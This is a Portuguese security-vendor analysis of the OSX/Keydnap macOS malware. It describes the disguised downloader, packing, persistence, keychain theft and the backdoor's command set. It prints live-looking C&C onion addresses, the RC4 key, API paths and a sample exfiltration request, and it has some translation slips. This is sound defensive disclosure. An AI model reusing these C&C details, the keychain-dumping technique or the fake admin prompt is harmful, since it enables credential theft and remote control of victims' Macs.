A ESET analisa diariamente várias amostras de ameaças dirigidas ao sistema operativo OS X. Estas amostras, são na maioria aplicações potencialmente indesejadas que permitem injetar publicidades nos browsers, enquanto as vítimas estão a navegar na Internet.

Nas últimas semanas, temos vindo a investigar um caso muito interessante em que o objetivo do malware é roubar o conteúdo do porta-chaves do sistema operativo OS X e manter uma backdoor permanente. Este artigo descreve os componentes desta ameaça e tudo o que sabemos sobre ela até ao momento.

Vetor de infeção

Ainda não é claro o modo como as vítimas são inicialmente expostas ao OSX / Keydnap. Pode ser através de anexos em mensagens de spam, downloads a partir de sites duvidosos ou qualquer outra coisa.

O que sabemos é que consiste num componente “downloader” distribuído num pacote .zip. O pacote contém um ficheiro executável Mach-O com uma extensão que parece confiável, como .txt ou .jpg. No entanto, a extensão do ficheiro, contém na verdade um caractere de espaço no final, o que significa que um duplo clique no ficheiro irá lançá-lo no terminal e não no Pré-visualizador ou Editor de Texto do Mac.

zip_file

file_info_annotated-492x1024

O ZIP contém também o fork de recurso com o ícone do ficheiro executável. Ele imita o ícone do Finder que é normalmente aplicado a ficheiros JPEG ou de texto para aumentar a probabilidade de o destinatário dar dois cliques no mesmo. Uma vez iniciado, surge uma janela Terminal e o conteúdo malicioso é executado. O vídeo abaixo releva em poucos segundos como tudo se processa.

 

 

 

 

OSX/Keydnap downloader

O downloader consiste num ficheiro Mach-O executável que não está assinado. Deste modo, o ficheiro é descarregado a partir de um browser e o Gatekeeper é ativado na máquina – o comportamento padrão nas versões recentes do OS X e Mac OS – não permitindo a execução do ficheiro e exibindo um aviso ao utilizador, como revela a imagem abaixo.

gatekeeperO funcionamento do downloader do Keydnap é simples. Vai:

  1. Fazer o download e executar o componente backdoor
  2. Substituir o conteúdo do downloader executável Mach-O por um chamariz, utilizando um ficheiro com codificação base64 ou descarregando-o a partir da Internet
  3. Abrir um documento falso (descrito mais tarde)
  4. Fechar a janela de terminal que acaba de abrir

O documento de disfarce substitui o downloader Mach-O, o que significa que o executável malicioso apenas está presente agora no ficheiro ZIP. O downloader não é persistente. No entanto, a backdoor que foi descarregada vai adicionar uma entrada no diretório LaunchAgents de modo a manter-se ativo quando o computador é reiniciado.

Encontrámos diversas variantes do downloader executável, sendo que uma lista de diferentes amostras pode ser encontrada no final do artigo.

Curiosamente, observámos exemplos recentes de documentos falsos que consistem em capturas de ecrã do painel da botnet ou dumps de números de cartões de crédito. Isto deixa adivinhar que o Keydnap pode estar dirigido aos utilizadores de fóruns obscuros ou até mesmo a investigadores de segurança. Também incluído nas variantes mais recentes está o nome da build: elitefuck, ccshop e transmission.

 

decoy1-1024x848

decoy2

decoy3

Backdooor OSX/Keydnap

Todas as amostras da backdoor observada têm o nome icloudsyncd. O malware tem uma cadeia de versão que é comunicada ao servidor C&C. Até agora, detetámos duas versões: 1.3.1 visto pela primeira vez em maio e 1.3.5 em junho.

Ofuscação

Enquanto o módulo de download não é integrado, a backdoor está acompanhado por uma versão modificada do UPX. Duas modificações são feitas na versão 3.91 do UPX:

Os bytes mágicos UPX! no header UPX são substituídos por ASS7;

O código descomprimido são “XORed” com 0x01. O XOR é aplicado após a descompressão e antes de se ativarem as funções principais do binário original.

upx_diff

Uma patch para o UPX está disponível no repositório ESET no Gifthub e permite descodificar a backdoor Keydnap com o habitual upx –d.

Persistência

Assim que iniciada, a backdoor Keydnap instala um ficheiro plist na pasta /Library/LaunchAgents/ se tiver privilégios root ou $USER/Library/LaunchAgents/ para continuar ativo mesmo após se reiniciar o computador. A entrada Library/Application Support/com.apple.iCloud.sync.daemon directory é utilizada para manter o icloudsyncd executável. Este diretório contém também o id do processo de malware em process.id e o nome da build (como é designado pelo autor) em build.id. Com privilégios de administração, consegue também mudar o proprietário do icloudsyncd para root:admin and e tornar o executável setuid e setgid, o que significa que será sempre exectuado com privilégios root no futuro.

launch_agent

Para camuflar a localização do ficheiro malicioso, o Keydnap substituiu o argv[0] por /usr/libexec/icloudsyncd –launchd netlogon.bundle. Aqui está um exemplo do resultado num computador infectado:

$ ps ax

[…]

566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle

[…]

Roubo do porta-chaves

A backdoor OSX / Keydnap está equipada com um mecanismo que reúne todos os dados (incluindo palavras-passe) que se encontram armazenadas no porta chaves do OS X. O autor simplesmente utilizou uma prova de conceito disponível no Github chamada Keychaindump. Lê os ids de segurança na memória e pesquisa pela chave de desencriptação para o porta-chaves do utilizador. Este processo é descrito num artigo de K. Lee e H. Koo. Uma das razões pelas quais pensamos que o código fonte foi retirado diretamente a partir do Giftbuh prende-se com o facto dos nomes das funções no código fonte serem os mesmos.

O facto de acharmos que o código fonte foi retirado do Gifthub está relacionado com a semelhança dos nomes das funções no malware Keydnap.

dumpkeychain_functions

Comunicação C&C

O Keydnap utiliza a proxy onion.to Tor2Web sobre HTTPS para contactar com o servidor C&C . Observámos dois endereços nas diferentes amostras:

  • g5wcesdfjzne7255.onion (Em baixo)
  • r2elajikcosf7zee.onion (Ativo na altura em que elaborámos este artigo)

O recurso HTTP começa sempre com /api/osx/ e contém acções como:

  • /api/osx/para reportar que o bot foi iniciado
  • /api/osx/keychain para aceder e retirar os conteúdos do porta-chaves
  • /api/osx/get_task?bot_id={botid}&version={version} para solicitar uma tarefa (descrita abaixo)
  • /api/osx/cmd_executed para reportar o resultado de um comando que foi exectuado
  • /api/osx/task_complete?bot_id={botid}&task_id={taskid} para reportar que uma tarefa foi concluída com sucesso

O conteúdo HTTP POST tem dois campos: bot_id e data. O campo data está encriptado com uma chave RC4 “u2RLhh+!LGd9p8!ZtuKcN” sem as aspas. Quando está a esvaziar o porta-chaves, é utilizado o campo keychain em vez de data.

POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded

bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D
> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0

O bot_id é construído juntando diferentes valores com SHA-256:

  1. O UUID do hardware (IOPlatformUUID)
  2. O número de série do sistema (IOPlatformSerialNumber)
  3. O modelo que identifica o Mac (e.g.: MacBookPro9,2)

A maioria das acções explicam-se por si só. O comando que se iniciou envia as seguintes informações para o servidor C&C:

  • device_model: o identificador do modelo (e.g.: MacBookPro9,2)
  • bot_version: versão do Keydnap
  • build_name: o nome da build que foi atribuído pelo downloader
  • os_version: A versão do OS X e kernel do macOS
  • ip_address: Endereço IP externo reportado pelo site ipify.org
  • has_root: 1 se executado como root, 0 se não executado como root

Comando Backdoor

A resposta ao parâmetro get_task contém uma variável  de comando e argumentos opcionais. A função denominada get_and_execute_tasks lida com 10 tipos de comandos diferentes.

Command ID Description
0 Remoção do Keydnap e Fim da Operação
1 Atualização da backdoor a partir de um ficheiro base64
2 Atualiza a backdoor através de um URL fornecido
3 Descodifica e executa um ficheiro com codificação base64
4 Descodifica e executa um script Python com codificação base64
5 Descarrega e executa um ficheiro a partir de um URL
6 Descarrega e executa um script Python a partir de um URL
7 Executa um comando e reporta o resultado ao servidor C&C
8 Solicita privilégios de administração quando o utilizador voltar a executar uma aplicação
9 Descodifica e executa, ou pára, o ficheiro calledauthd_service com codificação base64

Os dois últimos comandos destacam-se. O comando com o ID8 deve ser enviado quando o Keydnap ainda não está a ser executado enquanto root. Quando é ativado, começa por verificar a contagem de processos do utilizador. Quando dois novos processos são criados em dois segundos, o Keydnap vai mostrar uma janela que solicita as credenciais do utilizador, como acontece com outras aplicações que necessitam de direitos de administração. Se a vítima cair neste esquema e introduzir as credenciais, a backdoor vai passar a ter privilégios root e todo o conteúdo do porta-chaves da vítima passará a estar nas mãos do criminoso.

Figure 12: Code performing the process count check

Figure 13: icloudsyncd requesting privileges

Não sabemos o que significa o executável authd_service que é gerido pelo ID de comando 9 is, porque não o vimos a ser utilizado. Poderá ser eventualmente um terceiro malware que é implementado em determinados cenários (para alvos específicos).

Conclusão

Existem algumas peças em falta neste puzzle, uma vez que neste momento ainda não sabemos como o Keydnap é distribuído e também quantas vítimas já foram afetadas.

Embora o OS X possua diversos mecanismos incorporados para mitigar os ataques de malware, é possível contorná-los executando códigos maliciosos, sendo apenas necessário substituir um ícone por um ficheiro Mach-o.

Deixe uma resposta

O seu endereço de email não será publicado. Campos obrigatórios marcados com *

*